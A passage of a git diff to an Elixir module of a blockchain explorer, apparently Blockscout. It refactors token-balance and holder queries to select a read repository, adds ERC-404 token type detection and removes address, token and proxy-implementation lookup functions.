token_opts = [ - on_conflict: Runner.Tokens.default_on_conflict(), - conflict_target: :contract_address_hash, - stale_error_field: stale_error_field, - stale_error_message: stale_error_message - ] - - address_name_opts = [on_conflict: :nothing, conflict_target: [:address_hash, :name]] - - # Enforce ShareLocks tables order (see docs: sharelocks.md) - insert_result = - Multi.new() - |> Multi.run( - :address_name, - fn repo, _ -> - {:ok, repo.insert(address_name_changeset, address_name_opts)} - end - ) - |> Multi.run(:token, fn repo, _ -> - with {:error, %Changeset{errors: [{^stale_error_field, {^stale_error_message, [_]}}]}} <- - repo.insert(token_changeset, token_opts) do - # the original token passed into `update_token/2` as stale error means it is unchanged - {:ok, token} - end - end) - |> Repo.transaction() - - case insert_result do - {:ok, %{token: token}} -> - {:ok, token} - - {:error, :token, changeset, _} -> - {:error, changeset} - end - end + @spec fetch_last_token_balances(Hash.Address.t(), [api? | necessity_by_association_option]) :: [] + def fetch_last_token_balances(address_hash, options \\ []) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - @spec fetch_last_token_balances(Hash.Address.t()) :: [] - def fetch_last_token_balances(address_hash) do address_hash |> CurrentTokenBalance.last_token_balances() - |> Repo.all() - end - - @spec fetch_last_token_balances(Hash.Address.t(), [paging_options]) :: [] - def fetch_last_token_balances(address_hash, paging_options) do - address_hash - |> CurrentTokenBalance.last_token_balances(paging_options) - |> page_current_token_balances(paging_options) - |> Repo.all() - end - - @spec erc721_token_instance_from_token_id_and_token_address(binary(), Hash.Address.t()) :: - {:ok, TokenTransfer.t()} | {:error, :not_found} - def erc721_token_instance_from_token_id_and_token_address(token_id, token_contract_address) do - query = - from(tt in TokenTransfer, - left_join: instance in Instance, - on: tt.token_contract_address_hash == instance.token_contract_address_hash and tt.token_id == instance.token_id, - where: tt.token_contract_address_hash == ^token_contract_address and tt.token_id == ^token_id, - limit: 1, - select: %{tt | instance: instance} - ) - - case Repo.one(query) do - nil -> {:error, :not_found} - token_instance -> {:ok, token_instance} - end + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> join_associations(necessity_by_association) + |> select_repo(options).all() end - @spec erc721_or_erc1155_token_instance_from_token_id_and_token_address(binary(), Hash.Address.t()) :: - {:ok, Instance.t()} | {:error, :not_found} - def erc721_or_erc1155_token_instance_from_token_id_and_token_address(token_id, token_contract_address) do - query = - from(i in Instance, where: i.token_contract_address_hash == ^token_contract_address and i.token_id == ^token_id) - - case Repo.one(query) do - nil -> {:error, :not_found} - token_instance -> {:ok, token_instance} - end - end + @spec fetch_paginated_last_token_balances(Hash.Address.t(), [paging_options]) :: [] + def fetch_paginated_last_token_balances(address_hash, options) do + filter = Keyword.get(options, :token_type) + options = Keyword.delete(options, :token_type) + paging_options = Keyword.get(options, :paging_options) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - defp fetch_coin_balances(address_hash, paging_options) do - address = Repo.get_by(Address, hash: address_hash) + case paging_options do + %PagingOptions{key: {nil, 0, _id}} -> + [] - if contract?(address) do - address_hash - |> CoinBalance.fetch_coin_balances(paging_options) - else - address_hash - |> CoinBalance.fetch_coin_balances_with_txs(paging_options) + _ -> + address_hash + |> CurrentTokenBalance.last_token_balances(options, filter) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> page_current_token_balances(paging_options) + |> join_associations(necessity_by_association) + |> select_repo(options).all() end end @@ -4925,94 +3105,25 @@ defmodule Explorer.Chain do end end - @spec address_to_coin_balances(Hash.Address.t(), [paging_options]) :: [] - def address_to_coin_balances(address_hash, options) do - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - balances_raw = - address_hash - |> fetch_coin_balances(paging_options) - |> page_coin_balances(paging_options) - |> Repo.all() - - if Enum.empty?(balances_raw) do - balances_raw - else - balances_raw_filtered = - balances_raw - |> Enum.filter(fn balance -> balance.value end) - - min_block_number = - balances_raw_filtered - |> Enum.min_by(fn balance -> balance.block_number end, fn -> %{} end) - |> Map.get(:block_number) - - max_block_number = - balances_raw_filtered - |> Enum.max_by(fn balance -> balance.block_number end, fn -> %{} end) - |> Map.get(:block_number) - - min_block_timestamp = find_block_timestamp(min_block_number) - max_block_timestamp = find_block_timestamp(max_block_number) - - min_block_unix_timestamp = - min_block_timestamp - |> Timex.to_unix() - - max_block_unix_timestamp = - max_block_timestamp - |> Timex.to_unix() - - blocks_delta = max_block_number - min_block_number - - balances_with_dates = - if blocks_delta > 0 do - balances_raw_filtered - |> Enum.map(fn balance -> - date = - trunc( - min_block_unix_timestamp + - (balance.block_number - min_block_number) * (max_block_unix_timestamp - min_block_unix_timestamp) / - blocks_delta - ) - - formatted_date = Timex.from_unix(date) - %{balance | block_timestamp: formatted_date} - end) - else - balances_raw_filtered - |> Enum.map(fn balance -> - date = min_block_unix_timestamp + def get_token_balance(address_hash, token_contract_address_hash, block_number, token_id \\ nil, options \\ []) do + query = TokenBalance.fetch_token_balance(address_hash, token_contract_address_hash, block_number, token_id) - formatted_date = Timex.from_unix(date) - %{balance | block_timestamp: formatted_date} - end) - end - - balances_with_dates - |> Enum.sort(fn balance1, balance2 -> balance1.block_number >= balance2.block_number end) - end + select_repo(options).one(query) end - def get_coin_balance(address_hash, block_number) do - query = CoinBalance.fetch_coin_balance(address_hash, block_number) - - Repo.one(query) - end - - @spec address_to_balances_by_day(Hash.Address.t()) :: [balance_by_day] - def address_to_balances_by_day(address_hash) do + @spec address_to_balances_by_day(Hash.Address.t(), [api?]) :: [balance_by_day] + def address_to_balances_by_day(address_hash, options \\ []) do latest_block_timestamp = address_hash |> CoinBalance.last_coin_balance_timestamp() - |> Repo.one() + |> select_repo(options).one() address_hash |> CoinBalanceDaily.balances_by_day() - |> Repo.all() + |> select_repo(options).all() |> Enum.sort_by(fn %{date: d} -> {d.year, d.month, d.day} end) |> replace_last_value(latest_block_timestamp) - |> normalize_balances_by_day() + |> normalize_balances_by_day(Keyword.get(options, :api?, false)) end # https://github.com/blockscout/blockscout/issues/2658 @@ -5022,47 +3133,55 @@ defmodule Explorer.Chain do defp replace_last_value(items, _), do: items - defp normalize_balances_by_day(balances_by_day) do + defp normalize_balances_by_day(balances_by_day, api?) do result = balances_by_day |> Enum.filter(fn day -> day.value end) - |> Enum.map(fn day -> Map.update!(day, :date, &to_string(&1)) end) - |> Enum.map(fn day -> Map.update!(day, :value, &Wei.to(&1, :ether)) end) + |> (&if(api?, do: &1, else: Enum.map(&1, fn day -> Map.update!(day, :date, fn x -> to_string(x) end) end))).() + |> (&if(api?, do: &1, else: Enum.map(&1, fn day -> Map.update!(day, :value, fn x -> Wei.to(x, :ether) end) end))).() today = Date.to_string(NaiveDateTime.utc_now()) - if Enum.count(result) > 0 && !Enum.any?(result, fn map -> map[:date] == today end) do + if not Enum.empty?(result) && !Enum.any?(result, fn map -> map[:date] == today end) do List.flatten([result | [%{date: today, value: List.last(result)[:value]}]]) else result end end - @spec fetch_token_holders_from_token_hash(Hash.Address.t(), boolean(), [paging_options]) :: [TokenBalance.t()] - def fetch_token_holders_from_token_hash(contract_address_hash, from_api, options \\ []) do + @spec fetch_token_holders_from_token_hash(Hash.Address.t(), [paging_options | api?]) :: [TokenBalance.t()] + def fetch_token_holders_from_token_hash(contract_address_hash, options \\ []) do query = contract_address_hash |> CurrentTokenBalance.token_holders_ordered_by_value(options) - if from_api do - query - |> Repo.replica().all() - else - query - |> Repo.all() - end + query + |> select_repo(options).all() + end + + @spec fetch_token_holders_from_token_hash_for_csv(Hash.Address.t(), [paging_options | api?]) :: [TokenBalance.t()] + def fetch_token_holders_from_token_hash_for_csv(contract_address_hash, options \\ []) do + query = + contract_address_hash + |> CurrentTokenBalance.token_holders_ordered_by_value_query_without_address_preload(options) + + query + |> select_repo(options).all() end def fetch_token_holders_from_token_hash_and_token_id(contract_address_hash, token_id, options \\ []) do contract_address_hash |> CurrentTokenBalance.token_holders_1155_by_token_id(token_id, options) - |> Repo.all() + |> select_repo(options).all() end - def token_id_1155_is_unique?(_, nil), do: false + def token_id_1155_is_unique?(contract_address_hash, token_id, options \\ []) - def token_id_1155_is_unique?(contract_address_hash, token_id) do - result = contract_address_hash |> CurrentTokenBalance.token_balances_by_id_limit_2(token_id) |> Repo.all() + def token_id_1155_is_unique?(_, nil, _), do: false + + def token_id_1155_is_unique?(contract_address_hash, token_id, options) do + result = + contract_address_hash |> CurrentTokenBalance.token_balances_by_id_limit_2(token_id) |> select_repo(options).all() if length(result) == 1 do Decimal.compare(Enum.at(result, 0), 1) == :eq @@ -5071,38 +3190,11 @@ defmodule Explorer.Chain do end end - def get_token_ids_1155(contract_address_hash) do - contract_address_hash - |> CurrentTokenBalance.token_ids_query() - |> Repo.all() - end - - @spec count_token_holders_from_token_hash(Hash.Address.t()) :: non_neg_integer() - def count_token_holders_from_token_hash(contract_address_hash) do - query = - from(ctb in CurrentTokenBalance.token_holders_query_for_count(contract_address_hash), - select: fragment("COUNT(DISTINCT(address_hash))") - ) - - Repo.one!(query, timeout: :infinity) - end - - @spec address_to_unique_tokens(Hash.Address.t(), [paging_options]) :: [TokenTransfer.t()] - def address_to_unique_tokens(contract_address_hash, options \\ []) do - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - contract_address_hash - |> TokenTransfer.address_to_unique_tokens() - |> TokenTransfer.page_token_transfer(paging_options) - |> limit(^paging_options.page_size) - |> Repo.all() - end - @spec data() :: Dataloader.Ecto.t() def data, do: DataloaderEcto.new(Repo) @spec transaction_token_transfer_type(Transaction.t()) :: - :erc20 | :erc721 | :erc1155 | :token_transfer | nil + :erc20 | :erc721 | :erc1155 | :erc404 | :token_transfer | nil def transaction_token_transfer_type( %Transaction{ status: :ok, @@ -5114,7 +3206,7 @@ defmodule Explorer.Chain do zero_wei = %Wei{value: Decimal.new(0)} result = find_token_transfer_type(transaction, input, value) - if is_nil(result) && Enum.count(transaction.token_transfers) > 0 && value == zero_wei, + if is_nil(result) && not Enum.empty?(transaction.token_transfers) && value == zero_wei, do: :token_transfer, else: result rescue @@ -5163,10 +3255,7 @@ defmodule Explorer.Chain do find_erc1155_token_transfer(transaction.token_transfers, {from_address, to_address}) - {"0xf907fc5b" <> _params, ^zero_wei} -> - :erc20 - - # check for ERC-20 or for old ERC-721, ERC-1155 token versions + # check for ERC-20 or for old ERC-721, ERC-1155, ERC-404 token versions {unquote(TokenTransfer.transfer_function_signature()) <> params, ^zero_wei} -> types = [:address, {:uint, 256}] @@ -5174,7 +3263,7 @@ defmodule Explorer.Chain do decimal_value = Decimal.new(value) - find_erc721_or_erc20_or_erc1155_token_transfer(transaction.token_transfers, {address, decimal_value}) + find_known_token_transfer(transaction.token_transfers, {address, decimal_value}) _ -> nil @@ -5199,7 +3288,7 @@ defmodule Explorer.Chain do if token_transfer, do: :erc1155 end - defp find_erc721_or_erc20_or_erc1155_token_transfer(token_transfers, {address, decimal_value}) do + defp find_known_token_transfer(token_transfers, {address, decimal_value}) do token_transfer = Enum.find(token_transfers, fn token_transfer -> token_transfer.to_address_hash.bytes == address && token_transfer.amount == decimal_value @@ -5210,6 +3299,7 @@ defmodule Explorer.Chain do %Token{type: "ERC-20"} -> :erc20 %Token{type: "ERC-721"} -> :erc721 %Token{type: "ERC-1155"} -> :erc1155 + %Token{type: "ERC-404"} -> :erc404 _ -> nil end else @@ -5237,92 +3327,46 @@ defmodule Explorer.Chain do value end - defp with_decompiled_code_flag(query, _hash, false), do: query - - defp with_decompiled_code_flag(query, hash, true) do - has_decompiled_code_query = - from(decompiled_contract in DecompiledSmartContract, - where: decompiled_contract.address_hash == ^hash, - limit: 1, - select: %{has_decompiled_code?: not is_nil(decompiled_contract.address_hash)} - ) - - from( - address in query, - left_join: decompiled_code in subquery(has_decompiled_code_query), - select_merge: %{has_decompiled_code?: decompiled_code.has_decompiled_code?} - ) - end - defp decode_params(params, types) do params |> Base.decode16!(case: :mixed) |> TypeDecoder.decode_raw(types) end - def get_token_type(hash) do + @spec get_token_types([String.t()]) :: [{Hash.Address.t(), String.t()}] + def get_token_types(hashes) do query = from( token in Token, - where: token.contract_address_hash == ^hash, - select: token.type + where: token.contract_address_hash in ^hashes, + select: {token.contract_address_hash, token.type} ) - Repo.one(query) - end - - @doc """ - Checks if an `t:Explorer.Chain.Address.t/0` with the given `hash` exists. - - Returns `:ok` if found - - iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.create_address( - ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} - ...> ) - iex> Explorer.Chain.check_address_exists(hash) - :ok - - Returns `:not_found` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.check_address_exists(hash) - :not_found - - """ - @spec check_address_exists(Hash.Address.t()) :: :ok | :not_found - def check_address_exists(address_hash) do - address_hash - |> address_exists?() - |> boolean_to_check_result() - end - - @doc """ - Checks if an `t:Explorer.Chain.Address.t/0` with the given `hash` exists. - - Returns `true` if found - - iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.create_address( - ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} - ...> ) - iex> Explorer.Chain.address_exists?(hash) - true - - Returns `false` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.address_exists?(hash) - false - - """ - @spec address_exists?(Hash.Address.t()) :: boolean() - def address_exists?(address_hash) do + Repo.all(query) + end + + @spec get_token_type(Hash.Address.t()) :: String.t() | nil + def get_token_type(hash) do query = from( - address in Address, - where: address.hash == ^address_hash + token in Token, + where: token.contract_address_hash == ^hash, + select: token.type ) - Repo.exists?(query) + Repo.one(query) + end + + @spec erc_20_token?(Token.t()) :: bool + def erc_20_token?(token) do + erc_20_token_type?(token.type) + end + + defp erc_20_token_type?(type) do + case type do + "ERC-20" -> true + _ -> false + end end @doc """ @@ -5355,65 +3399,6 @@ defmodule Explorer.Chain do Repo.exists?(query) end - @doc """ - Checks if it exists a `t:Explorer.Chain.DecompiledSmartContract.t/0` for the - `t:Explorer.Chain.Address.t/0` with the provided `hash` and with the provided version. - - Returns `:ok` if found and `:not_found` otherwise. - """ - @spec check_decompiled_contract_exists(Hash.Address.t(), String.t()) :: :ok | :not_found - def check_decompiled_contract_exists(address_hash, version) do - address_hash - |> decompiled_contract_exists?(version) - |> boolean_to_check_result() - end - - @doc """ - Checks if it exists a `t:Explorer.Chain.DecompiledSmartContract.t/0` for the - `t:Explorer.Chain.Address.t/0` with the provided `hash` and with the provided version. - - Returns `true` if found and `false` otherwise. - """ - @spec decompiled_contract_exists?(Hash.Address.t(), String.t()) :: boolean() - def decompiled_contract_exists?(address_hash, version) do - query = - from(contract in DecompiledSmartContract, - where: contract.address_hash == ^address_hash and contract.decompiler_version == ^version - ) - - Repo.exists?(query) - end - - @doc """ - Checks if it exists a verified `t:Explorer.Chain.SmartContract.t/0` for the - `t:Explorer.Chain.Address.t/0` with the provided `hash`. - - Returns `:ok` if found and `:not_found` otherwise. - """ - @spec check_verified_smart_contract_exists(Hash.Address.t()) :: :ok | :not_found - def check_verified_smart_contract_exists(address_hash) do - address_hash - |> verified_smart_contract_exists?() - |> boolean_to_check_result() - end - - @doc """ - Checks if it exists a verified `t:Explorer.Chain.SmartContract.t/0` for the - `t:Explorer.Chain.Address.t/0` with the provided `hash`. - - Returns `true` if found and `false` otherwise. - """ - @spec verified_smart_contract_exists?(Hash.Address.t()) :: boolean() - def verified_smart_contract_exists?(address_hash) do - query = - from( - smart_contract in SmartContract, - where: smart_contract.address_hash == ^address_hash - ) - - Repo.exists?(query) - end - @doc """ Checks if a `t:Explorer.Chain.Transaction.t/0` with the given `hash` exists. @@ -5425,7 +3410,7 @@ defmodule Explorer.Chain do Returns `:not_found` if not found - iex> {:ok, hash} = Explorer.Chain.string_to_transaction_hash( + iex> {:ok, hash} = Explorer.Chain.string_to_full_hash( ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" ...> ) iex> Explorer.Chain.check_transaction_exists(hash) @@ -5449,7 +3434,7 @@ defmodule Explorer.Chain do Returns `false` if not found - iex> {:ok, hash} = Explorer.Chain.string_to_transaction_hash( + iex> {:ok, hash} = Explorer.Chain.string_to_full_hash( ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" ...> ) iex> Explorer.Chain.transaction_exists?(hash) @@ -5459,528 +3444,84 @@ defmodule Explorer.Chain do def transaction_exists?(hash) do query = from( - transaction in Transaction, - where: transaction.hash == ^hash - ) - - Repo.exists?(query) - end - - @doc """ - Checks if a `t:Explorer.Chain.Token.t/0` with the given `hash` exists. - - Returns `:ok` if found - - iex> address = insert(:address) - iex> insert(:token, contract_address: address) - iex> Explorer.Chain.check_token_exists(address.hash) - :ok - - Returns `:not_found` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.check_token_exists(hash) - :not_found - """ - @spec check_token_exists(Hash.Address.t()) :: :ok | :not_found - def check_token_exists(hash) do - hash - |> token_exists?() - |> boolean_to_check_result() - end - - @doc """ - Checks if a `t:Explorer.Chain.Token.t/0` with the given `hash` exists. - - Returns `true` if found - - iex> address = insert(:address) - iex> insert(:token, contract_address: address) - iex> Explorer.Chain.token_exists?(address.hash) - true - - Returns `false` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.token_exists?(hash) - false - """ - @spec token_exists?(Hash.Address.t()) :: boolean() - def token_exists?(hash) do - query = - from( - token in Token, - where: token.contract_address_hash == ^hash - ) - - Repo.exists?(query) - end - - @doc """ - Checks if a `t:Explorer.Chain.TokenTransfer.t/0` of type ERC-721 with the given `hash` and `token_id` exists. - - Returns `:ok` if found - - iex> contract_address = insert(:address) - iex> token_id = 10 - iex> insert(:token_transfer, - ...> from_address: contract_address, - ...> token_contract_address: contract_address, - ...> token_id: token_id - ...> ) - iex> Explorer.Chain.check_erc721_token_instance_exists(token_id, contract_address.hash) - :ok - - Returns `:not_found` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.check_erc721_token_instance_exists(10, hash) - :not_found - """ - @spec check_erc721_token_instance_exists(binary() | non_neg_integer(), Hash.Address.t()) :: :ok | :not_found - def check_erc721_token_instance_exists(token_id, hash) do - token_id - |> erc721_token_instance_exist?(hash) - |> boolean_to_check_result() - end - - @doc """ - Checks if a `t:Explorer.Chain.TokenTransfer.t/0` of type ERC-721 or ERC-1155 with the given `hash` and `token_id` exists. - - Returns `:ok` if found - - iex> contract_address = insert(:address) - iex> token_id = 10 - iex> insert(:token_transfer, - ...> from_address: contract_address, - ...> token_contract_address: contract_address, - ...> token_id: token_id - ...> ) - iex> Explorer.Chain.check_erc721_or_erc1155_token_instance_exists(token_id, contract_address.hash) - :ok - - iex> contract_address = insert(:address) - iex> token_id = 10 - iex> insert(:token_transfer, - ...> from_address: contract_address, - ...> token_contract_address: contract_address, - ...> token_ids: [token_id] - ...> ) - iex> Explorer.Chain.check_erc721_or_erc1155_token_instance_exists(token_id, contract_address.hash) - :ok - - Returns `:not_found` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.check_erc721_or_erc1155_token_instance_exists(10, hash) - :not_found - """ - @spec check_erc721_or_erc1155_token_instance_exists(binary() | non_neg_integer(), Hash.Address.t()) :: - :ok | :not_found - def check_erc721_or_erc1155_token_instance_exists(token_id, hash) do - token_id - |> erc721_or_erc1155_token_instance_exist?(hash) - |> boolean_to_check_result() - end - - @doc """ - Checks if a `t:Explorer.Chain.TokenTransfer.t/0` of type ERC-721 with the given `hash` and `token_id` exists. - - Returns `true` if found - - iex> contract_address = insert(:address) - iex> token_id = 10 - iex> insert(:token_transfer, - ...> from_address: contract_address, - ...> token_contract_address: contract_address, - ...> token_id: token_id - ...> ) - iex> Explorer.Chain.erc721_token_instance_exist?(token_id, contract_address.hash) - true - - Returns `false` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.erc721_token_instance_exist?(10, hash) - false - """ - @spec erc721_token_instance_exist?(binary() | non_neg_integer(), Hash.Address.t()) :: boolean() - def erc721_token_instance_exist?(token_id, hash) do - query = - from(tt in TokenTransfer, - where: tt.token_contract_address_hash == ^hash and tt.token_id == ^token_id - ) - - Repo.exists?(query) - end - - @doc """ - Checks if a `t:Explorer.Chain.TokenTransfer.t/0` of type ERC-721 or ERC-1155 with the given `hash` and `token_id` exists. - - Returns `true` if found - - iex> contract_address = insert(:address) - iex> token_id = 10 - iex> insert(:token_transfer, - ...> from_address: contract_address, - ...> token_contract_address: contract_address, - ...> token_id: token_id - ...> ) - iex> Explorer.Chain.erc721_or_erc1155_token_instance_exist?(token_id, contract_address.hash) - true - - iex> contract_address = insert(:address) - iex> token_id = 10 - iex> insert(:token_transfer, - ...> from_address: contract_address, - ...> token_contract_address: contract_address, - ...> token_ids: [token_id] - ...> ) - iex> Explorer.Chain.erc721_or_erc1155_token_instance_exist?(token_id, contract_address.hash) - true - - Returns `false` if not found - - iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - iex> Explorer.Chain.erc721_or_erc1155_token_instance_exist?(10, hash) - false - """ - @spec erc721_or_erc1155_token_instance_exist?(binary() | non_neg_integer(), Hash.Address.t()) :: boolean() - def erc721_or_erc1155_token_instance_exist?(token_id, hash) do - query = - from(tt in TokenTransfer, - where: - tt.token_contract_address_hash == ^hash and - (tt.token_id == ^token_id or fragment("? @> ARRAY[?::decimal]", tt.token_ids, ^Decimal.new(token_id))) - ) - - Repo.exists?(query) - end - - defp boolean_to_check_result(true), do: :ok - - defp boolean_to_check_result(false), do: :not_found - - @doc """ - Fetches the first trace from the Parity trace URL. - """ - def fetch_first_trace(transactions_params, json_rpc_named_arguments) do - case EthereumJSONRPC.fetch_first_trace(transactions_params, json_rpc_named_arguments) do - {:ok, [%{first_trace: first_trace, block_hash: block_hash, json_rpc_named_arguments: json_rpc_named_arguments}]} -> - format_tx_first_trace(first_trace, block_hash, json_rpc_named_arguments) - - {:error, error} -> - {:error, error} - - :ignore -> - :ignore - end - end - - def combine_proxy_implementation_abi(proxy_address_hash, abi) when not is_nil(abi) do - implementation_abi = get_implementation_abi_from_proxy(proxy_address_hash, abi) - - if Enum.empty?(implementation_abi), do: abi, else: implementation_abi ++ abi - end - - def combine_proxy_implementation_abi(_, abi) when is_nil(abi) do - [] - end - - def proxy_contract?(address_hash, abi) when not is_nil(abi) do - implementation_method_abi = - abi - |> Enum.find(fn method -> - Map.get(method, "name") == "implementation" || - master_copy_pattern?(method) - end) - - if implementation_method_abi || - get_implementation_address_hash_eip_1967(address_hash) !== "0x0000000000000000000000000000000000000000", - do: true, - else: false - end - - def proxy_contract?(_address_hash, abi) when is_nil(abi), do: false - - def gnosis_safe_contract?(abi) when not is_nil(abi) do - implementation_method_abi = - abi - |> Enum.find(fn method -> - master_copy_pattern?(method) - end) - - if implementation_method_abi, do: true, else: false - end - - def gnosis_safe_contract?(abi) when is_nil(abi), do: false - - @spec get_implementation_address_hash(Hash.Address.t(), list()) :: {String.t() | nil, String.t() | nil} - def get_implementation_address_hash(proxy_address_hash, abi) - when not is_nil(proxy_address_hash) and not is_nil(abi) do - implementation_method_abi = - abi - |> Enum.find(fn method -> - Map.get(method, "name") == "implementation" && Map.get(method, "stateMutability") == "view" - end) - - master_copy_method_abi = - abi - |> Enum.find(fn method -> - master_copy_pattern?(method) - end) - - implementation_address = - cond do - implementation_method_abi -> - get_implementation_address_hash_basic(proxy_address_hash, abi) - - master_copy_method_abi -> - get_implementation_address_hash_from_master_copy_pattern(proxy_address_hash) - - true -> - get_implementation_address_hash_eip_1967(proxy_address_hash) - end - - save_implementation_name(implementation_address, proxy_address_hash) - end - - def get_implementation_address_hash(proxy_address_hash, abi) when is_nil(proxy_address_hash) or is_nil(abi) do - {nil, nil} - end - - defp get_implementation_address_hash_eip_1967(proxy_address_hash) do - json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - - # https://eips.ethereum.org/EIPS/eip-1967 - storage_slot_logic_contract_address = "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc" - - {_status, implementation_address} = - case Contract.eth_get_storage_at_request( - proxy_address_hash, - storage_slot_logic_contract_address, - nil, - json_rpc_named_arguments - ) do - {:ok, empty_address} - when empty_address in ["0x", "0x0", "0x0000000000000000000000000000000000000000000000000000000000000000"] -> - fetch_beacon_proxy_implementation(proxy_address_hash, json_rpc_named_arguments) - - {:ok, implementation_logic_address} -> - {:ok, implementation_logic_address} - - {:error, _} -> - {:ok, "0x"} - end - - abi_decode_address_output(implementation_address) - end - - # changes requested by https://github.com/blockscout/blockscout/issues/4770 - # for support BeaconProxy pattern - defp fetch_beacon_proxy_implementation(proxy_address_hash, json_rpc_named_arguments) do - # https://eips.ethereum.org/EIPS/eip-1967 - storage_slot_beacon_contract_address = "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50" - - implementation_method_abi = [ - %{ - "type" => "function", - "stateMutability" => "view", - "outputs" => [%{"type" => "address", "name" => "", "internalType" => "address"}], - "name" => "implementation", - "inputs" => [] - } - ] - - case Contract.eth_get_storage_at_request( - proxy_address_hash, - storage_slot_beacon_contract_address, - nil, - json_rpc_named_arguments - ) do - {:ok, empty_address} - when empty_address in ["0x", "0x0", "0x0000000000000000000000000000000000000000000000000000000000000000"] -> - fetch_openzeppelin_proxy_implementation(proxy_address_hash, json_rpc_named_arguments) - - {:ok, beacon_contract_address} -> - case beacon_contract_address - |> abi_decode_address_output() - |> get_implementation_address_hash_basic(implementation_method_abi) do - <> -> - {:ok, implementation_address} - - _ -> - {:ok, beacon_contract_address} - end - - {:error, _} -> - {:ok, "0x"} - end - end - - # changes requested by https://github.com/blockscout/blockscout/issues/5292 - defp fetch_openzeppelin_proxy_implementation(proxy_address_hash, json_rpc_named_arguments) do - # This is the keccak-256 hash of "org.zeppelinos.proxy.implementation" - storage_slot_logic_contract_address = "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3" - - case Contract.eth_get_storage_at_request( - proxy_address_hash, - storage_slot_logic_contract_address, - nil, - json_rpc_named_arguments - ) do - {:ok, empty_address} - when empty_address in ["0x", "0x0", "0x0000000000000000000000000000000000000000000000000000000000000000"] -> - {:ok, "0x"} - - {:ok, logic_contract_address} -> - {:ok, logic_contract_address} - - {:error, _} -> - {:ok, "0x"} - end - end - - defp get_implementation_address_hash_basic(proxy_address_hash, abi) do - # 5c60da1b = keccak256(implementation()) - implementation_address = - case Reader.query_contract( - proxy_address_hash, - abi, - %{ - "5c60da1b" => [] - }, - false - ) do - %{"5c60da1b" => {:ok, [result]}} -> result - _ -> nil - end - - address_to_hex(implementation_address) - end - - defp get_implementation_address_hash_from_master_copy_pattern(proxy_address_hash) do - json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - - master_copy_storage_pointer = "0x0" - - {:ok, implementation_address} = - Contract.eth_get_storage_at_request( - proxy_address_hash, - master_copy_storage_pointer, - nil, - json_rpc_named_arguments + transaction in Transaction, + where: transaction.hash == ^hash ) - abi_decode_address_output(implementation_address) + Repo.exists?(query) end - defp master_copy_pattern?(method) do - Map.get(method, "type") == "constructor" && - method - |> Enum.find(fn item -> - case item do - {"inputs", inputs} -> - master_copy_input?(inputs) + @doc """ + Checks if a `t:Explorer.Chain.Token.t/0` with the given `hash` exists. - _ -> - false - end - end) - end + Returns `:ok` if found - defp master_copy_input?(inputs) do - inputs - |> Enum.find(fn input -> - Map.get(input, "name") == "_masterCopy" - end) - end + iex> address = insert(:address) + iex> insert(:token, contract_address: address) + iex> Explorer.Chain.check_token_exists(address.hash) + :ok - defp save_implementation_name(empty_address_hash_string, _) - when empty_address_hash_string in [ - "0x", - "0x0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - @burn_address_hash_str - ], - do: {empty_address_hash_string, nil} - - defp save_implementation_name(implementation_address_hash_string, proxy_address_hash) - when is_binary(implementation_address_hash_string) do - with {:ok, address_hash} <- string_to_address_hash(implementation_address_hash_string), - %SmartContract{name: name} <- address_hash_to_smart_contract(address_hash) do - SmartContract - |> where([sc], sc.address_hash == ^proxy_address_hash) - |> update(set: [implementation_name: ^name]) - |> Repo.update_all([]) - - {implementation_address_hash_string, name} - else - _ -> - {implementation_address_hash_string, nil} - end + Returns `:not_found` if not found + + iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") + iex> Explorer.Chain.check_token_exists(hash) + :not_found + """ + @spec check_token_exists(Hash.Address.t()) :: :ok | :not_found + def check_token_exists(hash) do + hash + |> token_exists?() + |> boolean_to_check_result() end - defp save_implementation_name(other, _), do: {other, nil} + @doc """ + Checks if a `t:Explorer.Chain.Token.t/0` with the given `hash` exists. - defp abi_decode_address_output(nil), do: nil + Returns `true` if found - defp abi_decode_address_output("0x"), do: @burn_address_hash_str + iex> address = insert(:address) + iex> insert(:token, contract_address: address) + iex> Explorer.Chain.token_exists?(address.hash) + true - defp abi_decode_address_output(address) 